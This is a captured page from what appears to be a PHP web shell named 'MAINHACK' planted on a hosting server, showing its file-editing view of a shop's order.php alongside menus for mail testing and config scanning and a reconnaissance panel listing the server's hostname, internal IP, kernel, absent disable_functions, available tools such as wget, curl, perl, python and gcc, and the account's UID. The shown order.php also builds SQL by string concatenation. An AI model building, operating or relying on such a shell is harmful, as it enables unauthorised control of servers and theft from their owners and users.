[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: order.php
<?php include("header.php"); ?> <!-- Inner Banner --> <!--<div class="inner-banner"> <div class="container"> <h4>Your Order</h4> <ul> <li><a href="index.php">Home</a></li> <li><i class="fa-solid fa-angles-right"></i></li> <li>Your Order</li> </ul> </div> </div>--> <div class="order"> <div class="container"> <h2>Order</h2> <div class="row"> <div class="col-md-3"> <?php include("user.php"); ?> </div> <div class="col-md-9"> <?php //echo $_SESSION['login_id']; $st="select *,bill.total as gtotal from bill inner join place_order on bill.order_id=place_order.order_id where place_order.user_id='".$_SESSION['user_id']."' group by place_order.order_id order by place_order.id desc"; //echo $st; $stmt=$con->prepare($st); $stmt->execute(); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $stmt1=$show->readwithdata('product_img','product_id',$row['product_id']); $row1=$stmt1->fetch(PDO::FETCH_ASSOC); $img=$row1['img']; extract($row); $amount=$row['amount']; $gst=$row['gst']; $gtotal=$row['amount']; $delivery_charge=$row['delivery_amt']; $oid=$row['order_id']; ?> <div class="histroy-box"> <h3>BOOKING PRIMARY IMFORMATION, <?=date('d M Y h:i A',strtotime($row['date']))?></h3> <ol> <li> Amount:Rs <?=$gtotal?></li> <li> Order ID:<?=$row['order_id']?></li> <li> BOOKING STATUS:<span><?=$row['status']?></span></li> <?php if($row['pay_status']=='PAYMENT_SUCCESS' && $row['delivery']=='DELIVERED'){ echo "Return"; echo "Exchange"; }else if($row['pay_status']=='PAYMENT_SUCCESS' && $row['delivery']=='NOT DELIVERED'){ if($row['status']=='Cancelled'){ echo "Refund Status: ".$row['refund'].""; }else{ echo "<a href='cancel_order.php?order=".$row['order_id']."' class='cancel'>Cancel</a>"; } }else{?> <li>Payment Status:<?=$row['pay_status']?></li> <?php } ?> <a href="bill_final.php?uid=<?=$row['user_id']?>&bid=<?=$row['order_id']?>" target="_blank">VIEW BILL</a> </ol> </div> <?php } }else{ echo "<h4>No Order Found right now!!</h4>"; } ?> </div> </div> </div> </div> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.22 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619